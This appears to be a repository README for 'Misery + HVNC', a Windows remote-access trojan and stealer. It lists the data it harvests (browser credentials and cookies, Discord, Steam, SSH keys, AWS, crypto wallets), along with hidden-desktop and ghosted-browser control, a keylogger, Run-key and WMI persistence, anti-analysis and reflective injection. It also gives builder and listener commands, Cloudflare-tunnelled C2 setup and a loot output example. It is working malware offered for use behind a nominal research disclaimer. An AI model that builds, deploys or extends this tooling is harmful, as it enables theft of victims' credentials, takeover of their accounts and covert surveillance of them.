Misery + HVNC

Misery
a devoted sister of the Church of Malware

HVNC inspired by Ek0m's research, rebuilt on top of the Misery stealer.

  • Hidden desktop (hvnc start): run any app on a hidden desktop and watch it live
  • Ghosted browser (ghost <url>): real Chrome/Edge session using the victim's cookies and logins
  • Credential and app-session harvesting (Misery stealer pipeline)
    • Browsers: Chrome, Edge, Brave, Opera, Opera GX, Firefox
    • Apps: Discord, Steam, Telegram, Slack, Signal, VS Code, AWS, SSH keys, Wi-Fi passwords, wallets
  • Single encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
  • Keylogger + clipboard monitoring (keystrokes tagged by session: hidden desktop vs the victim's desktop)
  • Persistence (HKCU Run key + WMI event subscriptions)
  • Anti-analysis (user-mode environment checks before connect)
  • Reflective injection / offline DPAPI fallback for decryption

For local testing and research only.

Disclaimer

Educational/research use only. Run only on systems you own or have written permission to test, in an isolated lab. Authors take no responsibility for misuse.

Operator view

The console's live hidden-desktop feed, streamed from the agent and rendered in the view window:

Misery operator view

VirusTotal scan

VirusTotal scan result

Which session to use

Ghosted session (ghost <url>) Hidden desktop (hvnc start)
Profile Snapshot copy of the victim's profile (deleted on stop) Victim's real, live profile
Browser Chrome / Edge only Any app + full desktop (explorer + Start menu)
Collides with open browser? No Yes (profile lock / two-instance conflict)
Writes back to profile? No Yes (history, cookies, sign-outs persist)
Use when Authenticated browser session only Full hidden desktop or non-browser app

The stealer runs inside the browser via reflective injection when possible (passes process checks). Falls back to offline DPAPI in the agent process otherwise. Everything goes over one encrypted channel: agent streams frames/results, console forwards input and writes exfil to disk.

Quick start

setup.py is an msfvenom-style builder that writes src/config.h, the console's ECDH private key to .misery_key, and builds the project.

python setup.py -g
# or non-interactive:
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent
.\build\console.exe   # listener
.\build\agent.exe     # connects

Console is a terminal (misery > prompt). Live view window opens for the hidden-desktop feed; input is forwarded.

Commands: steal, hvnc start | stop | launch [path], ghost <url> | stop, keylog, clip, clear, exit (type help for full list).

Steal summary example:

[+] steal done: 0 pw / 0 ck / 0 cards / 2 discord / 1 steam / 1 wallets / 1 wifi / 1 ssh / 1 vscode / 0 telegram / 0 slack / 0 signal / 0 aws -> loot-20260812_001608.json

Configuration

Priority: CLI (agent <host> [port]) > env (HVNC_C2_HOST, HVNC_C2_PORT) > src/config.h (generated by setup.py).

  • Keypair lives only on the operator side (.misery_key, gitignored). Only the public half is compiled into the agent.
  • Each TCP connection does a plaintext KEY_EXCHANGE with the agent's ephemeral key → AES-256-GCM session key.
  • --rotate-key generates a new pair (orphans existing agents).

Persistence

Separate agent modes (register and exit):

Flag Effect
--persist / --unpersist HKCU Run key (T1547.001). Copies to %APPDATA%\OneDriveSync.exe
--persist-wmi / --unpersist-wmi Two WMI subscriptions (T1546.003): 15-min timer + guard that recreates the Run value

Both point at the same %APPDATA% copy. Guard is idempotent.

CDN transport (Cloudflare)

python setup.py -t https_cdn

Emits deploy/worker.js + deploy/cloudflared-config.yml.

agent ──HTTPS──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console

Beacon carries the agent's ephemeral public key so the console can re-derive the session key. Worker validates an auth header and redirects through the tunnel (no public IP needed on the console).

Polls run on jittered intervals; failures back off exponentially (capped) and honor the worker's Retry-After on 429/503, so a slow or rate-limited relay is not hammered.

Build

Requires cmake and a C++ toolchain (MSVC, MinGW, or Clang).

MSVC:

cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

MinGW:

cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
cmake --build build -j 4

The two asm trampolines ship as both GAS (.s, MinGW/Clang) and MASM (.asm, MSVC); CMake picks the dialect per compiler. The payload DLL is embedded into the agent as a generated byte array (cmake/embed_payload.cmake), so no objcopy is required on any toolchain.

Fresh checkout builds out of the box against 127.0.0.1:4444. Run setup.py once before the first live session so .misery_key exists.

Outputs

Written by the console in its working directory:

  • loot-<timestamp>.json (gitignored)
  • keylog.txt
  • clipboard.txt

Tested on Chrome/Edge, Windows 10/11 x64.

Layout

  • src/agent – entry, C2 client, injector, persistence
  • src/console – operator console + listener
  • src/payload – payload DLL, reflective loader, trampoline
  • src/stealer – Misery-derived sources
  • src/hvnc – hidden-desktop session
  • src/ghost – ghosted browser session
  • src/browser – CDP client that drives the ghost browser (Page/Input over WebSocket)
  • src/rat – keylogger + clipboard
  • src/transport – encrypted TCP framing, HTTPS beacon carrier, compression
  • src/evasion – indirect syscalls, anti-analysis, helpers
  • build/ – out-of-source build dir

Licence

No licence granted. Research code for study only; not licensed for redistribution or commercial use.

S
Description
Automated archival mirror of churchofmalware.org/JYenn/Misery
Readme
19 MiB
Languages
C++ 87.5%
Python 10.5%
CMake 0.9%
Assembly 0.8%
C 0.3%